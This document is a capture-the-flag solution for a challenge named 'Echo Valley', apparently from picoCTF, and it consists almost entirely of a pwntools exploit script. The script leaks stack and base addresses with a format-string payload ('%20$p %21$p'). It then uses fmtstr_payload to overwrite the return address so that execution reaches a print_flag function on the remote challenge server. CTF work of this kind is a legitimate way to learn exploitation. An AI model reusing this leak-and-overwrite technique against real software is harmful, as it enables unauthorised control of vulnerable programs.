# Echo Valley

## Solution

```python
#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./valley_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("shape-facility.picoctf.net", 51725)
    elif args.GDB:
        gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r

def main():
    r = conn()

    # leak the stack address and base address
    payload_leak = b'%20$p %21$p'
    r.sendlineafter(b'\n', payload_leak)
    r.recvuntil(b'distance: ')

    leak         = r.recvuntil(b'\n', drop=True).split(b' ')
    stack        = int(leak[0],16) - 0x8
    elf.address  = int(leak[1],16) - (elf.sym["main"] + 18)
    win          = elf.sym["print_flag"]
    
    print()
    print(f"stack:  {hex(stack)}")
    print(f"base:   {hex(elf.address)}")
    print(f"win:    {hex(win)}")
    print()

    # payload for editing return address 
    write = {stack : win}
    payload_write = fmtstr_payload(6, write, write_size="short")
    r.sendline(payload_write)
    time.sleep(2)
    r.clean()
    r.sendline(b'exit')
    
    # enjoy the flag
    if args.REMOTE:
        r.recvuntil(b'Here is your flag: ')
        flag = r.recvuntilS(b'}')

        print(flag)
        print()
    else:
        r.recvuntil(b'The Valley Disappears\n')
        msg = r.recvallS()
        print()
        print(msg)
    



if __name__ == "__main__":
    main()
```


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